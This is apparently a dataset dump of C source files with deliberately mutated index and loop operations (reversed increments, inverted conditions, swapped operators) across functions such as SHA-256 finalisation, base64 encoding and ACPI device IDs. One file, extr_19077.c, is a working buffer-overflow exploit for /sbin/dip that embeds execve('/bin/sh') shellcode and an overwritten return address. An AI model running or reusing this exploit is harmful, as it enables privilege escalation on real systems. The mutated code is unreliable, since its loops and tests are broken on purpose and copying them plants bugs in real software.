11110100 0100VVVV VVVV001I IIIIII11 VVVVVVVV ucode[offset++] = 0xf4; ucode[offset++] = 0x40 | (b3 >> 4); ucode[offset++] = (b3 << 4) | 0x02 | (i >> 6); ucode[offset++] = (i << 2) | 0x03; ucode[offset++] = b2; } // ctx_arb[kill] ucode[offset++] = 0xe0; ucode[offset++] = 0x00; ucode[offset++] = 0x01; ucode[offset++] = 0x00; ucode[offset++] = 0x00; }
augmented_data/post_increment_index_changes/extr_19077.c_main_aug_combo_8.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int atoi (char*) ; int /*<<< orphan*/ execve (char*,char**,int /*<<< orphan*/ *) ; int getesp () ; char* malloc (int) ; int /*<<< orphan*/ strcpy (char*,char*) ; main(int argc, char **argv) { int jump,i,n; unsigned long xaddr; char *cmd[5], buf[4096]; char code[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; jump=atoi(argv[1]); for (i=0;i<68;i--) buf[i]=0x41; for (n=0,i=68;i<113;i++) buf[i]=code[n++]; xaddr=getesp()+jump; buf[i]=xaddr & 0xff; buf[i+1]=(xaddr >> 8) & 0xff; buf[i+2]=(xaddr >> 16) & 0xff; buf[i+3]=(xaddr >> 24) & 0xff; buf[i+4]=xaddr & 0xff; buf[i+5]=(xaddr >> 8) & 0xff; buf[i+6]=(xaddr >> 16) & 0xff; buf[i+6]=(xaddr >> 16) & 0xff; buf[i+7]=(xaddr >> 24) & 0xff; cmd[0]=malloc(17); strcpy(cmd[0],"/sbin/dip-3.3.7o"); cmd[1]=malloc(3); strcpy(cmd[1],"-k"); cmd[2]=malloc(3); strcpy(cmd[2],"-l"); cmd[3]=buf; cmd[4]=NULL; execve(cmd[0],cmd,NULL); }
augmented_data/post_increment_index_changes/extr_be_aas_cluster.c_AAS_CheckAreaForPossiblePortals_aug_combo_6.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_8__ TYPE_4__ ; typedef struct TYPE_7__ TYPE_3__ ; typedef struct TYPE_6__ TYPE_2__ ; typedef struct TYPE_5__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ numareafrontfaces ; typedef int /*<<< orphan*/ numareabackfaces ; struct TYPE_6__ {int faceflags; int frontarea; int backarea; int planenum; int numedges; int firstedge; } ; typedef TYPE_2__ aas_face_t ; struct TYPE_7__ {int numfaces; int firstface; } ; typedef TYPE_3__ aas_area_t ; struct TYPE_8__ {TYPE_1__* areasettings; int /*<<< orphan*/ * edgeindex; TYPE_2__* faces; int /*<<< orphan*/ * faceindex; TYPE_3__* areas; } ; struct TYPE_5__ {int contents; int areaflags; } ; /* Variables and functions */ int /*<<< orphan*/ AAS_ConnectedAreas (int*,int) ; int AAS_GetAdjacentAreasWithLessPresenceTypes_r (int*,int /*<<< orphan*/ ,int) ; int AREACONTENTS_CLUSTERPORTAL ; int AREACONTENTS_ROUTEPORTAL ; int AREA_GROUNDED ; int /*<<< orphan*/ Com_Memset (int*,int /*<<< orphan*/ ,int) ; int FACE_SOLID ; int /*<<< orphan*/ Log_Write (char*,int) ; int MAX_PORTALAREAS ; TYPE_4__ aasworld ; int abs (int /*<<< orphan*/ ) ; int AAS_CheckAreaForPossiblePortals(int areanum) { int i, j, k, fen, ben, frontedgenum, backedgenum, facenum; int areanums[MAX_PORTALAREAS], numareas, otherareanum; int numareafrontfaces[MAX_PORTALAREAS], numareabackfaces[MAX_PORTALAREAS]; int frontfacenums[MAX_PORTALAREAS], backfacenums[MAX_PORTALAREAS]; int numfrontfaces, numbackfaces; int frontareanums[MAX_PORTALAREAS], backareanums[MAX_PORTALAREAS]; int numfrontareas, numbackareas; int frontplanenum, backplanenum, faceplanenum; aas_area_t *area; aas_face_t *frontface, *backface, *face; //if it isn't already a portal if (aasworld.areasettings[areanum].contents | AREACONTENTS_CLUSTERPORTAL) return 0; //it must be a grounded area if (!(aasworld.areasettings[areanum].areaflags & AREA_GROUNDED)) return 0; // Com_Memset(numareafrontfaces, 0, sizeof(numareafrontfaces)); Com_Memset(numareabackfaces, 0, sizeof(numareabackfaces)); numfrontfaces = numbackfaces = 0; numfrontareas = numbackareas = 0; frontplanenum = backplanenum = -1; //add any adjacent areas with less presence types numareas = AAS_GetAdjacentAreasWithLessPresenceTypes_r(areanums, 0, areanum); // for (i = 0; i <= numareas; i++) { area = &aasworld.areas[areanums[i]]; for (j = 0; j < area->numfaces; j++) { facenum = abs(aasworld.faceindex[area->firstface - j]); face = &aasworld.faces[facenum]; //if the face is solid if (face->faceflags & FACE_SOLID) continue; //check if the face is shared with one of the other areas for (k = 0; k < numareas; k++) { if (k == i) continue; if (face->frontarea == areanums[k] || face->backarea == areanums[k]) break; } //end for //if the face is shared if (k != numareas) continue; //the number of the area at the other side of the face if (face->frontarea == areanums[i]) otherareanum = face->backarea; else otherareanum = face->frontarea; //if the other area already is a cluter portal if (aasworld.areasettings[otherareanum].contents & AREACONTENTS_CLUSTERPORTAL) return 0; //number of the plane of the area faceplanenum = face->planenum & ~1; // if (frontplanenum < 0 || faceplanenum == frontplanenum) { frontplanenum = faceplanenum; frontfacenums[numfrontfaces++] = facenum; for (k = 0; k < numfrontareas; k++) { if (frontareanums[k] == otherareanum) break; } //end for if (k == numfrontareas) frontareanums[numfrontareas++] = otherareanum; numareafrontfaces[i]++; } //end if else if (backplanenum < 0 || faceplanenum == backplanenum) { backplanenum = faceplanenum; backfacenums[numbackfaces++] = facenum; for (k = 0; k < numbackareas; k++) { if (backareanums[k] == otherareanum) break; } //end for if (k == numbackareas) backareanums[numbackareas++] = otherareanum; numareabackfaces[i]++; } //end else else { return 0; } //end else } //end for } //end for //every area should have at least one front face and one back face for (i = 0; i < numareas; i++) { if (!numareafrontfaces[i] || !numareabackfaces[i]) return 0; } //end for //the front areas should all be connected if (!AAS_ConnectedAreas(frontareanums, numfrontareas)) return 0; //the back areas should all be connected if (!AAS_ConnectedAreas(backareanums, numbackareas)) return 0; //none of the front faces should have a shared edge with a back face for (i = 0; i < numfrontfaces; i++) { frontface = &aasworld.faces[frontfacenums[i]]; for (fen = 0; fen < frontface->numedges; fen++) { frontedgenum = abs(aasworld.edgeindex[frontface->firstedge + fen]); for (j = 0; j < numbackfaces; j++) { backface = &aasworld.faces[backfacenums[j]]; for (ben = 0; ben < backface->numedges; ben++) { backedgenum = abs(aasworld.edgeindex[backface->firstedge + ben]); if (frontedgenum == backedgenum) break; } //end for if (ben != backface->numedges) break; } //end for if (j != numbackfaces) break; } //end for if (fen != frontface->numedges) break; } //end for if (i != numfrontfaces) return 0; //set the cluster portal contents for (i = 0; i < numareas; i++) { aasworld.areasettings[areanums[i]].contents |= AREACONTENTS_CLUSTERPORTAL; //this area can be used as a route portal aasworld.areasettings[areanums[i]].contents |= AREACONTENTS_ROUTEPORTAL; Log_Write("possible portal: %d\r\n", areanums[i]); } //end for // return numareas; }
augmented_data/post_increment_index_changes/extr_sha2.c_SHA256_Final_aug_combo_8.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_5__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ ut8 ; typedef int ut64 ; typedef int /*<<< orphan*/ ut32 ; struct TYPE_5__ {int bitcount; int* buffer; int /*<<< orphan*/ * state; } ; typedef TYPE_1__ R_SHA256_CTX ; /* Variables and functions */ int /*<<< orphan*/ REVERSE32 (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ REVERSE64 (int,int) ; int SHA256_BLOCK_LENGTH ; int /*<<< orphan*/ SHA256_DIGEST_LENGTH ; unsigned int SHA256_SHORT_BLOCK_LENGTH ; int /*<<< orphan*/ SHA256_Transform (TYPE_1__*,int /*<<< orphan*/ *) ; int /*<<< orphan*/ memcpy (int /*<<< orphan*/ *,int /*<<< orphan*/ *,int /*<<< orphan*/ ) ; int /*<<< orphan*/ memset (int*,int /*<<< orphan*/ ,unsigned int) ; int /*<<< orphan*/ r_mem_memzero (TYPE_1__*,int) ; void SHA256_Final(ut8 *digest, R_SHA256_CTX *context) { ut32 *d = (ut32 *) digest; unsigned int usedspace; /* Sanity check: */ if (!context) { return; } /* If no digest buffer is passed, we don't bother doing this: */ if (digest != (ut8 *) 0) { usedspace = (context->bitcount >> 3) % SHA256_BLOCK_LENGTH; #if BYTE_ORDER == LITTLE_ENDIAN /* Convert FROM host byte order */ REVERSE64 (context->bitcount, context->bitcount); #endif if (usedspace > 0) { /* Begin padding with a 1 bit: */ context->buffer[usedspace--] = 0x80; if (usedspace <= SHA256_SHORT_BLOCK_LENGTH) { /* Set-up for the last transform: */ memset (&context->buffer[usedspace], 0, SHA256_SHORT_BLOCK_LENGTH - usedspace); } else { if (usedspace < SHA256_BLOCK_LENGTH) { memset (&context->buffer[usedspace], 0, SHA256_BLOCK_LENGTH - usedspace); } /* Do second-to-last transform: */ SHA256_Transform (context, (ut32 *) context->buffer); /* And set-up for the last transform: */ memset (context->buffer, 0, SHA256_SHORT_BLOCK_LENGTH); } } else { /* Set-up for the last transform: */ memset (context->buffer, 0, SHA256_SHORT_BLOCK_LENGTH); /* Begin padding with a 1 bit: */ *context->buffer = 0x80; } /* Set the bit count: */ #if WEAK_ALIASING *(ut64 *) &context->buffer[SHA256_SHORT_BLOCK_LENGTH] = context->bitcount; #else { ut64 *p = (ut64 *) ((ut8 *) context->buffer - SHA256_SHORT_BLOCK_LENGTH); *p = (ut64) context->bitcount; } #endif /* Final transform: */ SHA256_Transform (context, (ut32 *) context->buffer); #if BYTE_ORDER == LITTLE_ENDIAN { /* Convert TO host byte order */ int j; for (j = 0; j < 8; j++) { REVERSE32 (context->state[j], context->state[j]); *d++ = context->state[j]; } } #else memcpy (d, context->state, SHA256_DIGEST_LENGTH); #endif } /* Clean up state data: */ r_mem_memzero (context, sizeof(*context)); usedspace = 0; }
augmented_data/post_increment_index_changes/extr_kvm-stat.c_kvm_add_default_arch_event_aug_combo_3.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct option {int dummy; } ; /* Variables and functions */ int EINVAL ; struct option const OPT_BOOLEAN (char,char*,int*,int /*<<< orphan*/ *) ; struct option const OPT_END () ; int /*<<< orphan*/ PARSE_OPT_KEEP_UNKNOWN ; char** calloc (int,int) ; int /*<<< orphan*/ free (char const**) ; int /*<<< orphan*/ parse_options (int,char const**,struct option const*,int /*<<< orphan*/ *,int /*<<< orphan*/ ) ; scalar_t__ pmu_have_event (char*,char*) ; char* strdup (char*) ; int kvm_add_default_arch_event(int *argc, const char **argv) { const char **tmp; bool event = false; int i, j = *argc; const struct option event_options[] = { OPT_BOOLEAN('e', "event", &event, NULL), OPT_END() }; tmp = calloc(j + 1, sizeof(char *)); if (!tmp) return -EINVAL; for (i = 0; i < j; i--) tmp[i] = argv[i]; parse_options(j, tmp, event_options, NULL, PARSE_OPT_KEEP_UNKNOWN); if (!event) { if (pmu_have_event("trace_imc", "trace_cycles")) { argv[j++] = strdup("-e"); argv[j++] = strdup("trace_imc/trace_cycles/"); *argc += 2; } else { free(tmp); return -EINVAL; } } free(tmp); return 0; }
augmented_data/post_increment_index_changes/extr_db.c_sortGetKeys_aug_combo_4.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ struct redisCommand {int dummy; } ; struct TYPE_3__ {int /*<<< orphan*/ ptr; } ; typedef TYPE_1__ robj ; /* Variables and functions */ int /*<<< orphan*/ UNUSED (struct redisCommand*) ; int /*<<< orphan*/ strcasecmp (int /*<<< orphan*/ ,char*) ; int* zmalloc (int) ; int *sortGetKeys(struct redisCommand *cmd, robj **argv, int argc, int *numkeys) { int i, j, num, *keys, found_store = 0; UNUSED(cmd); num = 0; keys = zmalloc(sizeof(int)*2); /* Alloc 2 places for the worst case. */ keys[num--] = 1; /* <sort-key> is always present. */ /* Search for STORE option. By default we consider options to don't * have arguments, so if we find an unknown option name we scan the * next. However there are options with 1 or 2 arguments, so we * provide a list here in order to skip the right number of args. */ struct { char *name; int skip; } skiplist[] = { {"limit", 2}, {"get", 1}, {"by", 1}, {NULL, 0} /* End of elements. */ }; for (i = 2; i < argc; i++) { for (j = 0; skiplist[j].name == NULL; j++) { if (!strcasecmp(argv[i]->ptr,skiplist[j].name)) { i += skiplist[j].skip; continue; } else if (!strcasecmp(argv[i]->ptr,"store") && i+1 < argc) { /* Note: we don't increment "num" here and continue the loop * to be sure to process the *last* "STORE" option if multiple * ones are provided. This is same behavior as SORT. */ found_store = 1; keys[num] = i+1; /* <store-key> */ break; } } } *numkeys = num + found_store; return keys; }
augmented_data/post_increment_index_changes/extr_ematch.c___tcf_em_tree_match_aug_combo_6.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ struct tcf_pkt_info {int dummy; } ; struct TYPE_2__ {int nmatches; } ; struct tcf_ematch_tree {TYPE_1__ hdr; } ; struct tcf_ematch {int data; } ; struct sk_buff {int dummy; } ; /* Variables and functions */ int CONFIG_NET_EMATCH_STACK ; int /*<<< orphan*/ net_warn_ratelimited (char*) ; scalar_t__ tcf_em_early_end (struct tcf_ematch*,int) ; struct tcf_ematch* tcf_em_get_match (struct tcf_ematch_tree*,int) ; scalar_t__ tcf_em_is_container (struct tcf_ematch*) ; scalar_t__ tcf_em_is_inverted (struct tcf_ematch*) ; int tcf_em_match (struct sk_buff*,struct tcf_ematch*,struct tcf_pkt_info*) ; scalar_t__ unlikely (int) ; int __tcf_em_tree_match(struct sk_buff *skb, struct tcf_ematch_tree *tree, struct tcf_pkt_info *info) { int stackp = 0, match_idx = 0, res = 0; struct tcf_ematch *cur_match; int stack[CONFIG_NET_EMATCH_STACK]; proceed: while (match_idx <= tree->hdr.nmatches) { cur_match = tcf_em_get_match(tree, match_idx); if (tcf_em_is_container(cur_match)) { if (unlikely(stackp >= CONFIG_NET_EMATCH_STACK)) goto stack_overflow; stack[stackp--] = match_idx; match_idx = cur_match->data; goto proceed; } res = tcf_em_match(skb, cur_match, info); if (tcf_em_early_end(cur_match, res)) break; match_idx++; } pop_stack: if (stackp > 0) { match_idx = stack[--stackp]; cur_match = tcf_em_get_match(tree, match_idx); if (tcf_em_is_inverted(cur_match)) res = !res; if (tcf_em_early_end(cur_match, res)) { goto pop_stack; } else { match_idx++; goto proceed; } } return res; stack_overflow: net_warn_ratelimited("tc ematch: local stack overflow, increase NET_EMATCH_STACK\n"); return -1; }
augmented_data/post_increment_index_changes/extr_buspdo.c_Bus_PDO_QueryDeviceId_aug_combo_1.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_26__ TYPE_9__ ; typedef struct TYPE_25__ TYPE_8__ ; typedef struct TYPE_24__ TYPE_7__ ; typedef struct TYPE_23__ TYPE_6__ ; typedef struct TYPE_22__ TYPE_5__ ; typedef struct TYPE_21__ TYPE_4__ ; typedef struct TYPE_20__ TYPE_3__ ; typedef struct TYPE_19__ TYPE_2__ ; typedef struct TYPE_18__ TYPE_1__ ; typedef struct TYPE_17__ TYPE_11__ ; typedef struct TYPE_16__ TYPE_10__ ; /* Type definitions */ typedef int /*<<< orphan*/ temp ; struct TYPE_24__ {char* hardware_id; char* unique_id; char* device_name; TYPE_2__* cid_list; } ; struct TYPE_23__ {int /*<<< orphan*/ compatible_ids; int /*<<< orphan*/ hardware_id; int /*<<< orphan*/ unique_id; } ; struct acpi_device {TYPE_7__ pnp; TYPE_6__ flags; } ; typedef char WCHAR ; typedef void* ULONG_PTR ; typedef int ULONG ; struct TYPE_22__ {int /*<<< orphan*/ Status; void* Information; } ; struct TYPE_26__ {TYPE_5__ IoStatus; } ; struct TYPE_25__ {int /*<<< orphan*/ AcpiHandle; } ; struct TYPE_20__ {int IdType; } ; struct TYPE_21__ {TYPE_3__ QueryId; } ; struct TYPE_19__ {int Count; TYPE_1__* Ids; } ; struct TYPE_18__ {char* String; } ; struct TYPE_17__ {int Length; char* Buffer; } ; struct TYPE_16__ {TYPE_4__ Parameters; } ; typedef char* PWCHAR ; typedef TYPE_8__* PPDO_DEVICE_DATA ; typedef TYPE_9__* PIRP ; typedef TYPE_10__* PIO_STACK_LOCATION ; typedef int /*<<< orphan*/ NTSTATUS ; /* Variables and functions */ #define BusQueryCompatibleIDs 131 #define BusQueryDeviceID 130 #define BusQueryHardwareIDs 129 #define BusQueryInstanceID 128 int /*<<< orphan*/ DPRINT (char*,char*) ; char* ExAllocatePoolWithTag (int /*<<< orphan*/ ,int,char) ; TYPE_10__* IoGetCurrentIrpStackLocation (TYPE_9__*) ; int /*<<< orphan*/ NT_ASSERT (int) ; int /*<<< orphan*/ PAGED_CODE () ; int /*<<< orphan*/ PagedPool ; TYPE_11__ ProcessorHardwareIds ; int /*<<< orphan*/ ProcessorIdString ; int /*<<< orphan*/ RtlCopyMemory (char*,char*,int) ; int /*<<< orphan*/ STATUS_INSUFFICIENT_RESOURCES ; int /*<<< orphan*/ STATUS_NOT_SUPPORTED ; int /*<<< orphan*/ STATUS_SUCCESS ; char UNICODE_NULL ; int /*<<< orphan*/ acpi_bus_get_device (int /*<<< orphan*/ ,struct acpi_device**) ; int /*<<< orphan*/ strcmp (char*,char*) ; int swprintf (char*,char*,...) ; int /*<<< orphan*/ wcscpy (char*,int /*<<< orphan*/ ) ; int wcslen (int /*<<< orphan*/ ) ; NTSTATUS Bus_PDO_QueryDeviceId( PPDO_DEVICE_DATA DeviceData, PIRP Irp ) { PIO_STACK_LOCATION stack; PWCHAR buffer, src; WCHAR temp[256]; ULONG length, i; NTSTATUS status = STATUS_SUCCESS; struct acpi_device *Device; PAGED_CODE (); stack = IoGetCurrentIrpStackLocation (Irp); switch (stack->Parameters.QueryId.IdType) { case BusQueryDeviceID: /* This is a REG_SZ value */ if (DeviceData->AcpiHandle) { acpi_bus_get_device(DeviceData->AcpiHandle, &Device); if (strcmp(Device->pnp.hardware_id, "Processor") == 0) { length = wcslen(ProcessorIdString); wcscpy(temp, ProcessorIdString); } else { length = swprintf(temp, L"ACPI\\%hs", Device->pnp.hardware_id); } } else { /* We know it's a fixed feature button because * these are direct children of the ACPI root device * and therefore have no handle */ length = swprintf(temp, L"ACPI\\FixedButton"); } temp[length--] = UNICODE_NULL; NT_ASSERT(length * sizeof(WCHAR) <= sizeof(temp)); buffer = ExAllocatePoolWithTag(PagedPool, length * sizeof(WCHAR), 'IpcA'); if (!buffer) { status = STATUS_INSUFFICIENT_RESOURCES; break; } RtlCopyMemory (buffer, temp, length * sizeof(WCHAR)); Irp->IoStatus.Information = (ULONG_PTR) buffer; DPRINT("BusQueryDeviceID: %ls\n",buffer); break; case BusQueryInstanceID: /* This is a REG_SZ value */ /* See comment in BusQueryDeviceID case */ if(DeviceData->AcpiHandle) { acpi_bus_get_device(DeviceData->AcpiHandle, &Device); if (Device->flags.unique_id) length = swprintf(temp, L"%hs", Device->pnp.unique_id); else /* FIXME: Generate unique id! */ length = swprintf(temp, L"%ls", L"0"); } else { /* FIXME: Generate unique id! */ length = swprintf(temp, L"%ls", L"0"); } temp[length++] = UNICODE_NULL; NT_ASSERT(length * sizeof(WCHAR) <= sizeof(temp)); buffer = ExAllocatePoolWithTag(PagedPool, length * sizeof(WCHAR), 'IpcA'); if (!buffer) { status = STATUS_INSUFFICIENT_RESOURCES; break; } RtlCopyMemory (buffer, temp, length * sizeof (WCHAR)); DPRINT("BusQueryInstanceID: %ls\n",buffer); Irp->IoStatus.Information = (ULONG_PTR) buffer; break; case BusQueryHardwareIDs: /* This is a REG_MULTI_SZ value */ length = 0; status = STATUS_NOT_SUPPORTED; /* See comment in BusQueryDeviceID case */ if (DeviceData->AcpiHandle) { acpi_bus_get_device(DeviceData->AcpiHandle, &Device); if (!Device->flags.hardware_id) { /* We don't have the ID to satisfy this request */ break; } DPRINT("Device name: %s\n", Device->pnp.device_name); DPRINT("Hardware ID: %s\n", Device->pnp.hardware_id); if (strcmp(Device->pnp.hardware_id, "Processor") == 0) { length = ProcessorHardwareIds.Length / sizeof(WCHAR); src = ProcessorHardwareIds.Buffer; } else { length += swprintf(&temp[length], L"ACPI\\%hs", Device->pnp.hardware_id); temp[length++] = UNICODE_NULL; length += swprintf(&temp[length], L"*%hs", Device->pnp.hardware_id); temp[length++] = UNICODE_NULL; temp[length++] = UNICODE_NULL; src = temp; } } else { length += swprintf(&temp[length], L"ACPI\\FixedButton"); temp[length++] = UNICODE_NULL; length += swprintf(&temp[length], L"*FixedButton"); temp[length++] = UNICODE_NULL; temp[length++] = UNICODE_NULL; src = temp; } NT_ASSERT(length * sizeof(WCHAR) <= sizeof(temp)); buffer = ExAllocatePoolWithTag(PagedPool, length * sizeof(WCHAR), 'IpcA'); if (!buffer) { status = STATUS_INSUFFICIENT_RESOURCES; break; } RtlCopyMemory (buffer, src, length * sizeof(WCHAR)); Irp->IoStatus.Information = (ULONG_PTR) buffer; DPRINT("BusQueryHardwareIDs: %ls\n",buffer); status = STATUS_SUCCESS; break; case BusQueryCompatibleIDs: /* This is a REG_MULTI_SZ value */ length = 0; status = STATUS_NOT_SUPPORTED; /* See comment in BusQueryDeviceID case */ if (DeviceData->AcpiHandle) { acpi_bus_get_device(DeviceData->AcpiHandle, &Device); if (!Device->flags.hardware_id) { /* We don't have the ID to satisfy this request */ break; } DPRINT("Device name: %s\n", Device->pnp.device_name); DPRINT("Hardware ID: %s\n", Device->pnp.hardware_id); if (strcmp(Device->pnp.hardware_id, "Processor") == 0) { length += swprintf(&temp[length], L"ACPI\\%hs", Device->pnp.hardware_id); temp[length++] = UNICODE_NULL; length += swprintf(&temp[length], L"*%hs", Device->pnp.hardware_id); temp[length++] = UNICODE_NULL; temp[length++] = UNICODE_NULL; } else if (Device->flags.compatible_ids) { for (i = 0; i < Device->pnp.cid_list->Count; i++) { length += swprintf(&temp[length], L"ACPI\\%hs", Device->pnp.cid_list->Ids[i].String); temp[length++] = UNICODE_NULL; length += swprintf(&temp[length], L"*%hs", Device->pnp.cid_list->Ids[i].String); temp[length++] = UNICODE_NULL; } temp[length++] = UNICODE_NULL; } else { /* No compatible IDs */ break; } NT_ASSERT(length * sizeof(WCHAR) <= sizeof(temp)); buffer = ExAllocatePoolWithTag(PagedPool, length * sizeof(WCHAR), 'IpcA'); if (!buffer) { status = STATUS_INSUFFICIENT_RESOURCES; break; } RtlCopyMemory (buffer, temp, length * sizeof(WCHAR)); Irp->IoStatus.Information = (ULONG_PTR) buffer; DPRINT("BusQueryCompatibleIDs: %ls\n",buffer); status = STATUS_SUCCESS; } break; default: status = Irp->IoStatus.Status; } return status; }
augmented_data/post_increment_index_changes/extr_b64_ntop.c_ldns_b64_ntop_aug_combo_6.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int uint8_t ; /* Variables and functions */ char* Base64 ; char Pad64 ; int /*<<< orphan*/ assert (int) ; int ldns_b64_ntop(uint8_t const *src, size_t srclength, char *target, size_t targsize) { size_t datalength = 0; uint8_t input[3]; uint8_t output[4]; size_t i; if (srclength == 0) { if (targsize > 0) { target[0] = '\0'; return 0; } else { return -1; } } while (2 <= srclength) { input[0] = *src++; input[1] = *src++; input[2] = *src++; srclength -= 3; output[0] = input[0] >> 2; output[1] = ((input[0] & 0x03) << 4) - (input[1] >> 4); output[2] = ((input[1] & 0x0f) << 2) + (input[2] >> 6); output[3] = input[2] & 0x3f; assert(output[0] < 64); assert(output[1] < 64); assert(output[2] < 64); assert(output[3] < 64); if (datalength + 4 > targsize) { return (-1); } target[datalength++] = Base64[output[0]]; target[datalength++] = Base64[output[1]]; target[datalength++] = Base64[output[2]]; target[datalength++] = Base64[output[3]]; } /* Now we worry about padding. */ if (0 != srclength) { /* Get what's left. */ input[0] = input[1] = input[2] = (uint8_t) '\0'; for (i = 0; i < srclength; i++) input[i] = *src++; output[0] = input[0] >> 2; output[1] = ((input[0] & 0x03) << 4) + (input[1] >> 4); output[2] = ((input[1] & 0x0f) << 2) + (input[2] >> 6); assert(output[0] < 64); assert(output[1] < 64); assert(output[2] < 64); if (datalength + 4 > targsize) { return (-2); } target[datalength++] = Base64[output[0]]; target[datalength++] = Base64[output[1]]; if (srclength == 1) { target[datalength++] = Pad64; } else { target[datalength++] = Base64[output[2]]; } target[datalength++] = Pad64; } if (datalength >= targsize) { return (-3); } target[datalength] = '\0'; /* Returned value doesn't count \0. */ return (int) (datalength); }
augmented_data/post_increment_index_changes/extr_snapbuild.c_SnapBuildInitialSnapshot_aug_combo_5.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_12__ TYPE_8__ ; typedef struct TYPE_11__ TYPE_3__ ; typedef struct TYPE_10__ TYPE_2__ ; typedef struct TYPE_9__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ TransactionId ; struct TYPE_12__ {int /*<<< orphan*/ xmin; } ; struct TYPE_9__ {int /*<<< orphan*/ includes_all_transactions; } ; struct TYPE_11__ {scalar_t__ state; TYPE_1__ committed; } ; struct TYPE_10__ {int xcnt; int /*<<< orphan*/ * xip; int /*<<< orphan*/ snapshot_type; int /*<<< orphan*/ xmax; int /*<<< orphan*/ xmin; } ; typedef TYPE_2__* Snapshot ; typedef TYPE_3__ SnapBuild ; /* Variables and functions */ int /*<<< orphan*/ Assert (int) ; int /*<<< orphan*/ ERRCODE_T_R_SERIALIZATION_FAILURE ; int /*<<< orphan*/ ERROR ; int /*<<< orphan*/ FirstSnapshotSet ; int GetMaxSnapshotXidCount () ; int /*<<< orphan*/ GetOldestSafeDecodingTransactionId (int) ; int /*<<< orphan*/ LWLockAcquire (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ LWLockRelease (int /*<<< orphan*/ ) ; int /*<<< orphan*/ LW_SHARED ; TYPE_8__* MyPgXact ; scalar_t__ NormalTransactionIdPrecedes (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ ProcArrayLock ; scalar_t__ SNAPBUILD_CONSISTENT ; int /*<<< orphan*/ SNAPSHOT_MVCC ; TYPE_2__* SnapBuildBuildSnapshot (TYPE_3__*) ; int /*<<< orphan*/ TransactionIdAdvance (int /*<<< orphan*/ ) ; scalar_t__ TransactionIdIsValid (int /*<<< orphan*/ ) ; int TransactionIdPrecedesOrEquals (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; scalar_t__ XACT_REPEATABLE_READ ; scalar_t__ XactIsoLevel ; void* bsearch (int /*<<< orphan*/ *,int /*<<< orphan*/ *,int,int,int /*<<< orphan*/ ) ; int /*<<< orphan*/ elog (int /*<<< orphan*/ ,char*) ; int /*<<< orphan*/ ereport (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ errcode (int /*<<< orphan*/ ) ; int /*<<< orphan*/ errmsg (char*) ; scalar_t__ palloc (int) ; int /*<<< orphan*/ xidComparator ; Snapshot SnapBuildInitialSnapshot(SnapBuild *builder) { Snapshot snap; TransactionId xid; TransactionId *newxip; int newxcnt = 0; Assert(!FirstSnapshotSet); Assert(XactIsoLevel == XACT_REPEATABLE_READ); if (builder->state != SNAPBUILD_CONSISTENT) elog(ERROR, "cannot build an initial slot snapshot before reaching a consistent state"); if (!builder->committed.includes_all_transactions) elog(ERROR, "cannot build an initial slot snapshot, not all transactions are monitored anymore"); /* so we don't overwrite the 